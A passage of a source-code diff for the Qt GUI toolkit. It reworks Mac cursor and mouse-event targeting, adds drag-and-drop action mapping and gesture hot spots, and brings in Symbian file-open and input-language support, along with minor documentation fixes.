+ if (widgetUnderMouse == lastWidgetUnderMouse) {
+ // Optimization that should hit when the widget under
+ // the mouse does not change as the mouse moves:
+ if (lastMouseCursorWidget)
+ cursor = lastMouseCursorWidget->cursor();
+ } else {
+ QWidget *w = widgetUnderMouse;
+ for (; w; w = w->parentWidget()) {
+ if (w->testAttribute(Qt::WA_SetCursor)) {
+ cursor = w->cursor();
+ break;
+ }
+ if (w->isWindow())
+ break;
}
+ // One final check in case we ran out of parents in the loop:
+ if (w && !w->testAttribute(Qt::WA_SetCursor))
+ w = 0;
+
+ lastWidgetUnderMouse = widgetUnderMouse;
+ lastMouseCursorWidget = w;
}
}
- qt_mac_set_cursor(&cursor, globalPos);
+
+#ifdef QT_MAC_USE_COCOA
+ cursor.d->update();
+ NSCursor *nsCursor = static_cast<NSCursor *>(cursor.d->curs.cp.nscursor);
+ if ([NSCursor currentCursor] != nsCursor) {
+ QMacCocoaAutoReleasePool pool;
+ [nsCursor set];
+ }
+#else
+ qt_mac_set_cursor(&cursor);
#endif
}
void qt_mac_update_cursor()
{
- qt_mac_update_cursor_at_global_pos(QCursor::pos());
+ // This function is similar to qt_mac_updateCursorWithWidgetUnderMouse
+ // except that is clears the optimization cache, and finds the widget
+ // under mouse itself. Clearing the cache is useful in cases where the
+ // application has been deactivated/activated etc.
+ // NB: since we dont have any true native widget, the call to
+ // qt_mac_getTargetForMouseEvent will fail when the mouse is over QMacNativeWidgets.
+#ifdef QT_MAC_USE_COCOA
+ lastWidgetUnderMouse = 0;
+ lastMouseCursorWidget = 0;
+ QWidget *widgetUnderMouse = 0;
+
+ if (qt_button_down) {
+ widgetUnderMouse = qt_button_down;
+ } else {
+ QPoint localPoint;
+ QPoint globalPoint = QCursor::pos();
+ qt_mac_getTargetForMouseEvent(0, QEvent::None, localPoint, globalPoint, 0, &widgetUnderMouse);
+ }
+ qt_mac_updateCursorWithWidgetUnderMouse(widgetUnderMouse);
+#else
+ qt_mac_updateCursorWithWidgetUnderMouse(QApplication::widgetAt(QCursor::pos()));
+#endif
+}
+
+void qt_mac_setMouseGrabCursor(bool set, QCursor *const cursor = 0)
+{
+ if (grabCursor) {
+ delete grabCursor;
+ grabCursor = 0;
+ }
+ if (set) {
+ if (cursor)
+ grabCursor = new QCursor(*cursor);
+ else if (lastMouseCursorWidget)
+ grabCursor = new QCursor(lastMouseCursorWidget->cursor());
+ else
+ grabCursor = new QCursor(Qt::ArrowCursor);
+ }
+ qt_mac_update_cursor();
+}
+
+#ifndef QT_MAC_USE_COCOA
+void qt_mac_update_cursor_at_global_pos(const QPoint &globalPos)
+{
+ qt_mac_updateCursorWithWidgetUnderMouse(QApplication::widgetAt(globalPos));
}
+#endif
static int nextCursorId = Qt::BitmapCursor;
@@ -427,7 +517,8 @@ void QCursorData::update()
break;
case Qt::DragCopyCursor:
type = QCursorData::TYPE_ThemeCursor;
- curs.cp.nscursor = [NSCursor dragCopyCursor];
+ if ([NSCursor respondsToSelector:@selector(dragCopyCursor)])
+ curs.cp.nscursor = [NSCursor performSelector:@selector(dragCopyCursor)];
break;
case Qt::DragMoveCursor:
type = QCursorData::TYPE_ThemeCursor;
@@ -435,7 +526,8 @@ void QCursorData::update()
break;
case Qt::DragLinkCursor:
type = QCursorData::TYPE_ThemeCursor;
- curs.cp.nscursor = [NSCursor dragLinkCursor];
+ if ([NSCursor respondsToSelector:@selector(dragLinkCursor)])
+ curs.cp.nscursor = [NSCursor performSelector:@selector(dragLinkCursor)];
break;
#define QT_USE_APPROXIMATE_CURSORS
#ifdef QT_USE_APPROXIMATE_CURSORS
diff --git a/src/gui/kernel/qdnd_mac.mm b/src/gui/kernel/qdnd_mac.mm
index d630faa..3af2ba0 100644
--- a/src/gui/kernel/qdnd_mac.mm
+++ b/src/gui/kernel/qdnd_mac.mm
@@ -491,7 +491,7 @@ bool QWidgetPrivate::qt_mac_dnd_event(uint kind, DragRef dragRef)
SetThemeCursor(cursor);
}
if(found_cursor) {
- qt_mac_set_cursor(0, QPoint()); //just use our's
+ qt_mac_set_cursor(0); //just use our's
} else {
QCursor cursor(Qt::ArrowCursor);
if(qApp && qApp->overrideCursor()) {
@@ -504,7 +504,7 @@ bool QWidgetPrivate::qt_mac_dnd_event(uint kind, DragRef dragRef)
}
}
}
- qt_mac_set_cursor(&cursor, QPoint(mouse.h, mouse.v));
+ qt_mac_set_cursor(&cursor);
}
//idle things
diff --git a/src/gui/kernel/qevent.cpp b/src/gui/kernel/qevent.cpp
index db25da3..277a5e8 100644
--- a/src/gui/kernel/qevent.cpp
+++ b/src/gui/kernel/qevent.cpp
@@ -54,6 +54,10 @@
#include "qgesture.h"
#include "qgesture_p.h"
+#ifdef Q_OS_SYMBIAN
+#include "private/qcore_symbian_p.h"
+#endif
+
QT_BEGIN_NAMESPACE
/*!
@@ -725,12 +729,12 @@ QWheelEvent::QWheelEvent(const QPoint &pos, const QPoint& globalPos, int delta,
The \a type parameter must be QEvent::KeyPress, QEvent::KeyRelease,
or QEvent::ShortcutOverride.
- Int \a key is the code for the Qt::Key that the event loop should listen
- for. If \a key is 0, the event is not a result of a known key; for
+ Int \a key is the code for the Qt::Key that the event loop should listen
+ for. If \a key is 0, the event is not a result of a known key; for
example, it may be the result of a compose sequence or keyboard macro.
- The \a modifiers holds the keyboard modifiers, and the given \a text
- is the Unicode text that the key generated. If \a autorep is true,
- isAutoRepeat() will be true. \a count is the number of keys involved
+ The \a modifiers holds the keyboard modifiers, and the given \a text
+ is the Unicode text that the key generated. If \a autorep is true,
+ isAutoRepeat() will be true. \a count is the number of keys involved
in the event.
*/
QKeyEvent::QKeyEvent(Type type, int key, Qt::KeyboardModifiers modifiers, const QString& text,
@@ -1659,7 +1663,7 @@ Qt::ButtonState QContextMenuEvent::state() const
string is controlled by the widget only). The AttributeType enum
describes the different attributes that can be set.
- A class implementing QWidget::inputMethodEvent() or
+ A class implementing QWidget::inputMethodEvent() or
QGraphicsItem::inputMethodEvent() should at least understand and
honor the \l TextFormat and \l Cursor attributes.
@@ -3024,9 +3028,16 @@ QShowEvent::~QShowEvent()
This event is only used to notify the application of a request.
It may be safely ignored.
- \note This class is currently supported for Mac OS X only.
+ \note This class is currently supported for Mac OS X and Symbian only.
*/
+QFileOpenEventPrivate::~QFileOpenEventPrivate()
+{
+#ifdef Q_OS_SYMBIAN
+ file.Close();
+#endif
+}
+
/*!
\internal
@@ -3050,6 +3061,22 @@ QFileOpenEvent::QFileOpenEvent(const QUrl &url)
f = url.toLocalFile();
}
+#ifdef Q_OS_SYMBIAN
+/*! \internal
+*/
+QFileOpenEvent::QFileOpenEvent(const RFile &fileHandle)
+ : QEvent(FileOpen)
+{
+ TFileName fullName;
+ fileHandle.FullName(fullName);
+ f = qt_TDesC2QString(fullName);
+ QScopedPointer<QFileOpenEventPrivate> priv(new QFileOpenEventPrivate(QUrl::fromLocalFile(f)));
+ // Duplicate here allows the file handle to be valid after S60 app construction is complete.
+ qt_symbian_throwIfError(priv->file.Duplicate(fileHandle));
+ d = reinterpret_cast<QEventPrivate *>(priv.take());
+}
+#endif
+
/*! \internal
*/
QFileOpenEvent::~QFileOpenEvent()
@@ -3075,6 +3102,39 @@ QUrl QFileOpenEvent::url() const
return reinterpret_cast<const QFileOpenEventPrivate *>(d)->url;
}
+/*!
+ \fn bool openFile(QFile &file, QIODevice::OpenMode flags) const
+
+ Opens a QFile on the file referenced by this event.
+ Returns true if successful; otherwise returns false.
+
+ This is necessary as some files cannot be opened by name, but require specific
+ information stored in this event.
+ For example, if this QFileOpenEvent contains a request to open a Symbian data caged file,
+ the QFile could only be opened from the Symbian RFile used in the construction of this event.
+
+ \since 4.8
+*/
+bool QFileOpenEvent::openFile(QFile &file, QIODevice::OpenMode flags) const
+{
+ file.setFileName(f);
+#ifdef Q_OS_SYMBIAN
+ const QFileOpenEventPrivate *priv = reinterpret_cast<const QFileOpenEventPrivate *>(d);
+ if (priv->file.SubSessionHandle()) {
+ RFile dup;
+ // Duplicate here means that the opened QFile will continue to be valid beyond the lifetime of this QFileOpenEvent.
+ // It also allows openFile to be used in threads other than the thread in which the QFileOpenEvent was created.
+ if (dup.Duplicate(priv->file) == KErrNone) {
+ QScopedPointer<RFile, QScopedPointerRCloser<RFile> > dupCloser(&dup);
+ bool open = file.open(dup, flags, QFile::AutoCloseHandle);
+ dupCloser.take();
+ return open;
+ }
+ }
+#endif
+ return file.open(flags);
+}
+
#ifndef QT_NO_TOOLBAR
/*!
\internal
@@ -3623,7 +3683,7 @@ QMenubarUpdatedEvent::QMenubarUpdatedEvent(QMenuBar * const menuBar)
#endif
-/*!
+/*!
\class QTouchEvent
\brief The QTouchEvent class contains parameters that describe a touch event.
\since 4.6
diff --git a/src/gui/kernel/qevent.h b/src/gui/kernel/qevent.h
index a7b06f4..93c2bc5 100644
--- a/src/gui/kernel/qevent.h
+++ b/src/gui/kernel/qevent.h
@@ -54,6 +54,11 @@
#include <QtCore/qvariant.h>
#include <QtCore/qmap.h>
#include <QtCore/qset.h>
+#include <QtCore/qfile.h>
+
+#ifdef Q_OS_SYMBIAN
+class RFile;
+#endif
QT_BEGIN_HEADER
@@ -641,10 +646,14 @@ class Q_GUI_EXPORT QFileOpenEvent : public QEvent
public:
QFileOpenEvent(const QString &file);
QFileOpenEvent(const QUrl &url);
+#ifdef Q_OS_SYMBIAN
+ QFileOpenEvent(const RFile &fileHandle);
+#endif
~QFileOpenEvent();
inline QString file() const { return f; }
QUrl url() const;
+ bool openFile(QFile &file, QIODevice::OpenMode flags) const;
private:
QString f;
};
diff --git a/src/gui/kernel/qevent_p.h b/src/gui/kernel/qevent_p.h
index 3a27023..b79f372 100644
--- a/src/gui/kernel/qevent_p.h
+++ b/src/gui/kernel/qevent_p.h
@@ -46,6 +46,10 @@
#include <QtCore/qurl.h>
#include <QtGui/qevent.h>
+#ifdef Q_OS_SYMBIAN
+#include <f32file.h>
+#endif
+
QT_BEGIN_NAMESPACE
//
@@ -174,8 +178,12 @@ public:
: url(url)
{
}
+ ~QFileOpenEventPrivate();
QUrl url;
+#ifdef Q_OS_SYMBIAN
+ RFile file;
+#endif
};
diff --git a/src/gui/kernel/qgesture.cpp b/src/gui/kernel/qgesture.cpp
index 17ede02..56daba2 100644
--- a/src/gui/kernel/qgesture.cpp
+++ b/src/gui/kernel/qgesture.cpp
@@ -332,7 +332,7 @@ void QPanGesture::setAcceleration(qreal value)
/*!
\class QPinchGesture
\since 4.6
- \brief The QPinchGesture class describes a pinch gesture made my the user.
+ \brief The QPinchGesture class describes a pinch gesture made by the user.
\ingroup touch
\ingroup gestures
diff --git a/src/gui/kernel/qkeymapper_p.h b/src/gui/kernel/qkeymapper_p.h
index 7a7c6a5..ec2d849 100644
--- a/src/gui/kernel/qkeymapper_p.h
+++ b/src/gui/kernel/qkeymapper_p.h
@@ -213,6 +213,7 @@ public:
int mapS60ScanCodesToQt(TUint s60key);
int mapQtToS60Key(int qtKey);
int mapQtToS60ScanCodes(int qtKey);
+ void updateInputLanguage();
#endif
};
diff --git a/src/gui/kernel/qkeymapper_s60.cpp b/src/gui/kernel/qkeymapper_s60.cpp
index f0b17ac..bcf32a5 100644
--- a/src/gui/kernel/qkeymapper_s60.cpp
+++ b/src/gui/kernel/qkeymapper_s60.cpp
@@ -40,7 +40,11 @@
****************************************************************************/
#include "private/qkeymapper_p.h"
+#include <private/qcore_symbian_p.h>
#include <e32keys.h>
+#include <e32cmn.h>
+#include <centralrepository.h>
+#include <biditext.h>
QT_BEGIN_NAMESPACE
@@ -214,4 +218,32 @@ int QKeyMapperPrivate::mapQtToS60ScanCodes(int qtKey)
}
return res;
}
+
+void QKeyMapperPrivate::updateInputLanguage()
+{
+#ifdef Q_WS_S60
+ TInt err;
+ CRepository *repo;
+ const TUid KCRUidAknFep = TUid::Uid(0x101F876D);
+ const TUint32 KAknFepInputTxtLang = 0x00000005;
+ TRAP(err, repo = CRepository::NewL(KCRUidAknFep));
+ if (err != KErrNone)
+ return;
+
+ TInt symbianLang;
+ err = repo->Get(KAknFepInputTxtLang, symbianLang);
+ delete repo;
+ if (err != KErrNone)
+ return;
+
+ QString qtLang = QString::fromAscii(qt_symbianLocaleName(symbianLang));
+ keyboardInputLocale = QLocale(qtLang);
+ keyboardInputDirection = (TBidiText::ScriptDirectionality(TLanguage(symbianLang)) == TBidiText::ERightToLeft)
+ ? Qt::RightToLeft : Qt::LeftToRight;
+#else
+ keyboardInputLocale = QLocale();
+ keyboardInputDirection = Qt::LeftToRight;
+#endif
+}
+
QT_END_NAMESPACE
diff --git a/src/gui/kernel/qkeymapper_x11_p.cpp b/src/gui/kernel/qkeymapper_x11_p.cpp
index 1fad4b0..2dbe1e7 100644
--- a/src/gui/kernel/qkeymapper_x11_p.cpp
+++ b/src/gui/kernel/qkeymapper_x11_p.cpp
@@ -40,6 +40,7 @@
****************************************************************************/
// This file is auto-generated, do not edit!
+// (Generated using util/xkbdatagen)
static struct {
const char *layout;
diff --git a/src/gui/kernel/qlayout.cpp b/src/gui/kernel/qlayout.cpp
index 1eeaf8e..e014ec8 100644
--- a/src/gui/kernel/qlayout.cpp
+++ b/src/gui/kernel/qlayout.cpp
@@ -980,10 +980,10 @@ void QLayoutPrivate::reparentChildWidgets(QWidget *mw)
/*!
This function is called from \c addWidget() functions in
- subclasses to add \a w as a child widget.
+ subclasses to add \a w as a managed widget of a layout.
- If \a w is already in a layout, this function will give a warning
- and remove \a w from the layout. This function must therefore be
+ If \a w is already managed by a layout, this function will give a warning
+ and remove \a w from that layout. This function must therefore be
called before adding \a w to the layout's data structure.
*/
void QLayout::addChildWidget(QWidget *w)
diff --git a/src/gui/kernel/qmacgesturerecognizer_mac.mm b/src/gui/kernel/qmacgesturerecognizer_mac.mm
index 0e432f3..6a4f0bb 100644
--- a/src/gui/kernel/qmacgesturerecognizer_mac.mm
+++ b/src/gui/kernel/qmacgesturerecognizer_mac.mm
@@ -69,6 +69,7 @@ QMacSwipeGestureRecognizer::recognize(QGesture *gesture, QObject *obj, QEvent *e
case QNativeGestureEvent::Swipe: {
QSwipeGesture *g = static_cast<QSwipeGesture *>(gesture);
g->setSwipeAngle(ev->angle);
+ g->setHotSpot(ev->position);
return QGestureRecognizer::FinishGesture | QGestureRecognizer::ConsumeEventHint;
break; }
default:
@@ -110,6 +111,7 @@ QMacPinchGestureRecognizer::recognize(QGesture *gesture, QObject *obj, QEvent *e
g->setCenterPoint(g->startCenterPoint());
g->setChangeFlags(QPinchGesture::CenterPointChanged);
g->setTotalChangeFlags(g->totalChangeFlags() | g->changeFlags());
+ g->setHotSpot(ev->position);
return QGestureRecognizer::MayBeGesture | QGestureRecognizer::ConsumeEventHint;
case QNativeGestureEvent::Rotate: {
g->setLastScaleFactor(g->scaleFactor());
@@ -117,6 +119,7 @@ QMacPinchGestureRecognizer::recognize(QGesture *gesture, QObject *obj, QEvent *e
g->setRotationAngle(g->rotationAngle() + ev->percentage);
g->setChangeFlags(QPinchGesture::RotationAngleChanged);
g->setTotalChangeFlags(g->totalChangeFlags() | g->changeFlags());
+ g->setHotSpot(ev->position);
return QGestureRecognizer::TriggerGesture | QGestureRecognizer::ConsumeEventHint;
}
case QNativeGestureEvent::Zoom:
@@ -125,6 +128,7 @@ QMacPinchGestureRecognizer::recognize(QGesture *gesture, QObject *obj, QEvent *e
g->setScaleFactor(g->scaleFactor() * (1 + ev->percentage));
g->setChangeFlags(QPinchGesture::ScaleFactorChanged);
g->setTotalChangeFlags(g->totalChangeFlags() | g->changeFlags());
+ g->setHotSpot(ev->position);
return QGestureRecognizer::TriggerGesture | QGestureRecognizer::ConsumeEventHint;
case QNativeGestureEvent::GestureEnd:
return QGestureRecognizer::FinishGesture | QGestureRecognizer::ConsumeEventHint;
@@ -221,6 +225,7 @@ QMacPanGestureRecognizer::recognize(QGesture *gesture, QObject *target, QEvent *
const QPointF posOffset = p - _startPos;
g->setLastOffset(g->offset());
g->setOffset(QPointF(posOffset.x(), posOffset.y()));
+ g->setHotSpot(_startPos);
return QGestureRecognizer::TriggerGesture;
}
} else if (_panTimer.isActive()) {
@@ -239,6 +244,7 @@ QMacPanGestureRecognizer::recognize(QGesture *gesture, QObject *target, QEvent *
break;
// Begin new pan session!
_startPos = QCursor::pos();
+ g->setHotSpot(_startPos);
return QGestureRecognizer::TriggerGesture | QGestureRecognizer::ConsumeEventHint;
}
break; }
diff --git a/src/gui/kernel/qt_cocoa_helpers_mac.mm b/src/gui/kernel/qt_cocoa_helpers_mac.mm
index b2d9ca6..98f62ca 100644
--- a/src/gui/kernel/qt_cocoa_helpers_mac.mm
+++ b/src/gui/kernel/qt_cocoa_helpers_mac.mm
@@ -89,9 +89,16 @@
#include <private/qcocoaview_mac_p.h>
#include <private/qkeymapper_p.h>
#include <private/qwidget_p.h>
+#include <private/qcocoawindow_mac_p.h>
QT_BEGIN_NAMESPACE
+#ifdef QT_MAC_USE_COCOA
+// Cmd + left mousebutton should produce a right button
+// press (mainly for mac users with one-button mice):
+static bool qt_leftButtonIsRightButton = false;
+#endif
+
Q_GLOBAL_STATIC(QMacWindowFader, macwindowFader);
QMacWindowFader::QMacWindowFader()
@@ -141,6 +148,9 @@ void QMacWindowFader::performFade()
extern bool qt_sendSpontaneousEvent(QObject *receiver, QEvent *event); // qapplication.cpp;
extern QWidget * mac_mouse_grabber;
extern QWidget *qt_button_down; //qapplication_mac.cpp
+extern QPointer<QWidget> qt_last_mouse_receiver;
+extern OSViewRef qt_mac_effectiveview_for(const QWidget *w);
+extern void qt_mac_updateCursorWithWidgetUnderMouse(QWidget *widgetUnderMouse); // qcursor_mac.mm
void macWindowFade(void * /*OSWindowRef*/ window, float durationSeconds)
{
@@ -167,6 +177,70 @@ void macWindowFade(void * /*OSWindowRef*/ window, float durationSeconds)
}
}
}
+struct dndenum_mapper
+{
+ NSDragOperation mac_code;
+ Qt::DropAction qt_code;
+ bool Qt2Mac;
+};
+
+#ifdef QT_MAC_USE_COCOA && __OBJC__
+
+static dndenum_mapper dnd_enums[] = {
+ { NSDragOperationLink, Qt::LinkAction, true },
+ { NSDragOperationMove, Qt::MoveAction, true },
+ { NSDragOperationCopy, Qt::CopyAction, true },
+ { NSDragOperationGeneric, Qt::CopyAction, false },
+ { NSDragOperationEvery, Qt::ActionMask, false },
+ { NSDragOperationNone, Qt::IgnoreAction, false }
+};
+
+NSDragOperation qt_mac_mapDropAction(Qt::DropAction action)
+{
+ for (int i=0; dnd_enums[i].qt_code; i++) {
+ if (dnd_enums[i].Qt2Mac && (action & dnd_enums[i].qt_code)) {
+ return dnd_enums[i].mac_code;
+ }
+ }
+ return NSDragOperationNone;
+}
+
+NSDragOperation qt_mac_mapDropActions(Qt::DropActions actions)
+{
+ NSDragOperation nsActions = NSDragOperationNone;
+ for (int i=0; dnd_enums[i].qt_code; i++) {
+ if (dnd_enums[i].Qt2Mac && (actions & dnd_enums[i].qt_code))
+ nsActions |= dnd_enums[i].mac_code;
+ }
+ return nsActions;
+}
+
+Qt::DropAction qt_mac_mapNSDragOperation(NSDragOperation nsActions)
+{
+ Qt::DropAction action = Qt::IgnoreAction;
+ for (int i=0; dnd_enums[i].mac_code; i++) {
+ if (nsActions & dnd_enums[i].mac_code)
+ return dnd_enums[i].qt_code;
+ }
+ return action;
+}
+
+Qt::DropActions qt_mac_mapNSDragOperations(NSDragOperation nsActions)
+{
+ Qt::DropActions actions = Qt::IgnoreAction;
+ for (int i=0; dnd_enums[i].mac_code; i++) {
+ if (nsActions & dnd_enums[i].mac_code)
+ actions |= dnd_enums[i].qt_code;
+ }
+ return actions;
+}
+
+Q_GLOBAL_STATIC(DnDParams, currentDnDParameters);
+DnDParams *macCurrentDnDParameters()
+{
+ return currentDnDParameters();
+}
+#endif
bool macWindowIsTextured( void * /*OSWindowRef*/ window )
{
@@ -301,7 +375,7 @@ bool qt_mac_checkForNativeSizeGrip(const QWidget *widget)
HIViewFindByID(HIViewGetRoot(HIViewGetWindow(HIViewRef(widget->winId()))), kHIViewWindowGrowBoxID, &nativeSizeGrip);
return (nativeSizeGrip != 0);
#else
- return [[reinterpret_cast<NSView *>(widget->winId()) window] showsResizeIndicator];
+ return [[reinterpret_cast<NSView *>(widget->effectiveWinId()) window] showsResizeIndicator];
#endif
}
struct qt_mac_enum_mapper
@@ -517,8 +591,12 @@ static const KeyPair entries[NumEntries] = {
{ NSNewlineCharacter, Qt::Key_Return },
{ NSCarriageReturnCharacter, Qt::Key_Return },
{ NSBackTabCharacter, Qt::Key_Backtab },
- { NSDeleteCharacter, Qt::Key_Delete },
{ kEscapeCharCode, Qt::Key_Escape },
+ // Cocoa sends us delete when pressing backspace!
+ // (NB when we reverse this list in qtKey2CocoaKey, there
+ // will be two indices of Qt::Key_Backspace. But is seems to work
+ // ok for menu shortcuts (which uses that function):
+ { NSDeleteCharacter, Qt::Key_Backspace },
{ NSUpArrowFunctionKey, Qt::Key_Up },
{ NSDownArrowFunctionKey, Qt::Key_Down },
{ NSLeftArrowFunctionKey, Qt::Key_Left },
@@ -731,7 +809,6 @@ Qt::MouseButton cocoaButton2QtButton(NSInteger buttonNum)
return Qt::NoButton;
}
-// Helper to share code between QCocoaWindow and QCocoaView
bool qt_dispatchKeyEvent(void * /*NSEvent * */ keyEvent, QWidget *widgetToGetEvent)
{
#ifndef QT_MAC_USE_COCOA
@@ -743,6 +820,7 @@ bool qt_dispatchKeyEvent(void * /*NSEvent * */ keyEvent, QWidget *widgetToGetEve
EventRef key_event = static_cast<EventRef>(const_cast<void *>([event eventRef]));
Q_ASSERT(key_event);
unsigned int info = 0;
+
if ([event type] == NSKeyDown) {
NSString *characters = [event characters];
if ([characters length]) {
@@ -752,19 +830,12 @@ bool qt_dispatchKeyEvent(void * /*NSEvent * */ keyEvent, QWidget *widgetToGetEve
}
}
- // Redirect keys to alien widgets.
- if (widgetToGetEvent->testAttribute(Qt::WA_NativeWindow) == false) {
- widgetToGetEvent = qApp->focusWidget();
- }
-
- if (widgetToGetEvent == 0)
- return false;
-
if (qt_mac_sendMacEventToWidget(widgetToGetEvent, key_event))
return true;
if (mustUseCocoaKeyEvent())
return qt_dispatchKeyEventWithCocoa(keyEvent, widgetToGetEvent);
+
bool consumed = qt_keymapper_private()->translateKeyEvent(widgetToGetEvent, 0, key_event, &info, true);
return consumed && (info != 0);
#endif
@@ -788,7 +859,6 @@ void qt_dispatchModifiersChanged(void * /*NSEvent * */flagsChangedEvent, QWidget
#endif
}
-
QPointF flipPoint(const NSPoint &p)
{
return QPointF(p.x, flipYCoordinate(p.y));
@@ -804,21 +874,15 @@ NSPoint flipPoint(const QPointF &p)
return NSMakePoint(p.x(), flipYCoordinate(p.y()));
}
-void qt_mac_dispatchNCMouseMessage(void * /* NSWindow* */eventWindow, void * /* NSEvent* */mouseEvent,
- QWidget *widgetToGetEvent, bool &leftButtonIsRightButton)
+#if QT_MAC_USE_COCOA && __OBJC__
+
+void qt_mac_handleNonClientAreaMouseEvent(NSWindow *window, NSEvent *event)
{
-#ifndef QT_MAC_USE_COCOA
- Q_UNUSED(eventWindow);
- Q_UNUSED(mouseEvent);
- Q_UNUSED(widgetToGetEvent);
- Q_UNUSED(leftButtonIsRightButton);
-#else
+ QWidget *widgetToGetEvent = [window QT_MANGLE_NAMESPACE(qt_qwidget)];
if (widgetToGetEvent == 0)
return;
- NSWindow *window = static_cast<NSWindow *>(eventWindow);
- NSEvent *event = static_cast<NSEvent *>(mouseEvent);
- NSEventType evtType = [event type];
+ NSEventType evtType = [event type];
QPoint qlocalPoint;
QPoint qglobalPoint;
bool processThisEvent = false;
@@ -936,12 +1000,12 @@ void qt_mac_dispatchNCMouseMessage(void * /* NSWindow* */eventWindow, void * /*
: QEvent::MouseButtonDblClick;
if (button == Qt::LeftButton && (keyMods & Qt::MetaModifier)) {
button = Qt::RightButton;
- leftButtonIsRightButton = true;
+ qt_leftButtonIsRightButton = true;
}
} else if (eventType == QEvent::NonClientAreaMouseButtonRelease || eventType == QEvent::MouseButtonRelease) {
- if (button == Qt::LeftButton && leftButtonIsRightButton) {
+ if (button == Qt::LeftButton && qt_leftButtonIsRightButton) {
button = Qt::RightButton;
- leftButtonIsRightButton = false;
+ qt_leftButtonIsRightButton = false;
}
}
@@ -961,155 +1025,265 @@ void qt_mac_dispatchNCMouseMessage(void * /* NSWindow* */eventWindow, void * /*
// However we might need to unset it if the event is Release.
if (eventType == QEvent::MouseButtonRelease)
qt_button_down = 0;
-#endif
}
-bool qt_mac_handleMouseEvent(void * /* NSView * */view, void * /* NSEvent * */event, QEvent::Type eventType, Qt::MouseButton button)
+QWidget *qt_mac_getTargetForKeyEvent(QWidget *widgetThatReceivedEvent)
{
-#ifndef QT_MAC_USE_COCOA
- Q_UNUSED(view);
- Q_UNUSED(event);
- Q_UNUSED(eventType);
- Q_UNUSED(button);
- return false;
-#else
- QT_MANGLE_NAMESPACE(QCocoaView) *theView = static_cast<QT_MANGLE_NAMESPACE(QCocoaView) *>(view);
- NSEvent *theEvent = static_cast<NSEvent *>(event);
+ if (QWidget *popup = QApplication::activePopupWidget()) {
+ QWidget *focusInPopup = popup->focusWidget();
+ return focusInPopup ? focusInPopup : popup;
+ }
- // Give the Input Manager a chance to process the mouse events.
- NSInputManager *currentIManager = [NSInputManager currentInputManager];
- if (currentIManager && [currentIManager wantsToHandleMouseEvents]) {
- [currentIManager handleMouseEvent:theEvent];
- }
+ QWidget *widgetToGetKey = qApp->focusWidget();
+ if (!widgetToGetKey)
+ widgetToGetKey = widgetThatReceivedEvent;
- // Handle tablet events (if any) first.
- if (qt_mac_handleTabletEvent(theView, theEvent)) {
- // Tablet event was handled. In Qt we aren't supposed to send the mouse event.
- return true;
+ return widgetToGetKey;
+}
+
+// This function will find the widget that should receive the
+// mouse event. Because of explicit/implicit mouse grabs, popups,
+// etc, this might not end up being the same as the widget under
+// the mouse (which is more interresting when handling enter/leave
+// events
+QWidget *qt_mac_getTargetForMouseEvent(
+ // You can call this function without providing an event.
+ // If so, set returnGlobalPoint before the call.
+ NSEvent *event,
+ QEvent::Type eventType,
+ QPoint &returnLocalPoint,
+ QPoint &returnGlobalPoint,
+ QWidget *nativeWidget,
+ QWidget **returnWidgetUnderMouse)
+{
+ Q_UNUSED(event);
+ returnGlobalPoint = flipPoint([NSEvent mouseLocation]).toPoint();
+ QWidget *mouseGrabber = QWidget::mouseGrabber();
+ bool buttonDownNotBlockedByModal = qt_button_down && !QApplicationPrivate::isBlockedByModal(qt_button_down);
+ QWidget *popup = QApplication::activePopupWidget();
+
+ // Resolve the widget under the mouse:
+ QWidget *widgetUnderMouse = 0;
+ if (popup || qt_button_down || !nativeWidget || !nativeWidget->isVisible()) {
+ // Using QApplication::widgetAt for finding the widget under the mouse
+ // is most safe, since it ignores cocoas own mouse down redirections (which
+ // we need to be prepared for when using nativeWidget as starting point).
+ // (the only exception is for QMacNativeWidget, where QApplication::widgetAt fails).
+ // But it is also slower (I guess), so we try to avoid it and use nativeWidget if we can:
+ widgetUnderMouse = QApplication::widgetAt(returnGlobalPoint);
}
- NSPoint windowPoint = [theEvent locationInWindow];
- NSPoint globalPoint = [[theEvent window] convertBaseToScreen:windowPoint];
+ if (!widgetUnderMouse && nativeWidget) {
+ // Entering here should be the common case. We
+ // also handle the QMacNativeWidget fallback case.
+ QPoint p = nativeWidget->mapFromGlobal(returnGlobalPoint);
+ widgetUnderMouse = nativeWidget->childAt(p);
+ if (!widgetUnderMouse && nativeWidget->rect().contains(p))
+ widgetUnderMouse = nativeWidget;
+ }
- // Find the widget that *should* get the event (e.g., maybe it was a pop-up,
- // they always get the mouse event).
- QWidget *qwidget = [theView qt_qwidget];
- QWidget *widgetToGetMouse = 0;
- NSView *tmpView = 0;
- QWidget *popup = qAppInstance()->activePopupWidget();
- QPoint qglobalPoint(flipPoint(globalPoint).toPoint());
+ if (widgetUnderMouse) {
+ // Check if widgetUnderMouse is blocked by a modal
+ // window, or the mouse if over the frame strut:
+ if (widgetUnderMouse == qt_button_down) {
+ // Small optimization to avoid an extra call to isBlockedByModal:
+ if (buttonDownNotBlockedByModal == false)
+ widgetUnderMouse = 0;
+ } else if (QApplicationPrivate::isBlockedByModal(widgetUnderMouse)) {
+ widgetUnderMouse = 0;
+ }
- if (popup) {
- widgetToGetMouse = popup;
- tmpView = qt_mac_nativeview_for(popup);
- windowPoint = [[tmpView window] convertScreenToBase:globalPoint];
-
- QPoint qWindowPoint(windowPoint.x, windowPoint.y);
- if (widgetToGetMouse->rect().contains(qWindowPoint)) {
- // Keeping the mouse pressed on a combobox button will make
- // the popup pop in front of the mouse. But all mouse events
- // will be sendt to the button. Since we want mouse events
- // to be sendt to widgets inside the popup, we search for the
- // widget in front of the mouse:
- tmpView = [tmpView hitTest:windowPoint];
- if (!tmpView)
- return false;
- widgetToGetMouse =
- [static_cast<QT_MANGLE_NAMESPACE(QCocoaView) *>(tmpView) qt_qwidget];
+ if (widgetUnderMouse && widgetUnderMouse->isWindow()) {
+ // Exclude the titlebar (and frame strut) when finding widget under mouse:
+ QPoint p = widgetUnderMouse->mapFromGlobal(returnGlobalPoint);
+ if (!widgetUnderMouse->rect().contains(p))
+ widgetUnderMouse = 0;
+ }
+ }
+ if (returnWidgetUnderMouse)
+ *returnWidgetUnderMouse = widgetUnderMouse;
+
+ // Resolve the target for the mouse event. Default will be
+ // widgetUnderMouse, except if there is a grab (popup/mouse/button-down):
+ if (popup && !mouseGrabber) {
+ // We special case handling of popups, since they have an implicitt mouse grab.
+ QWidget *candidate = buttonDownNotBlockedByModal ? qt_button_down : widgetUnderMouse;
+ if (!popup->isAncestorOf(candidate)) {
+ // INVARIANT: we have a popup, but the candidate is not
+ // in it. But the popup will grab the mouse anyway,
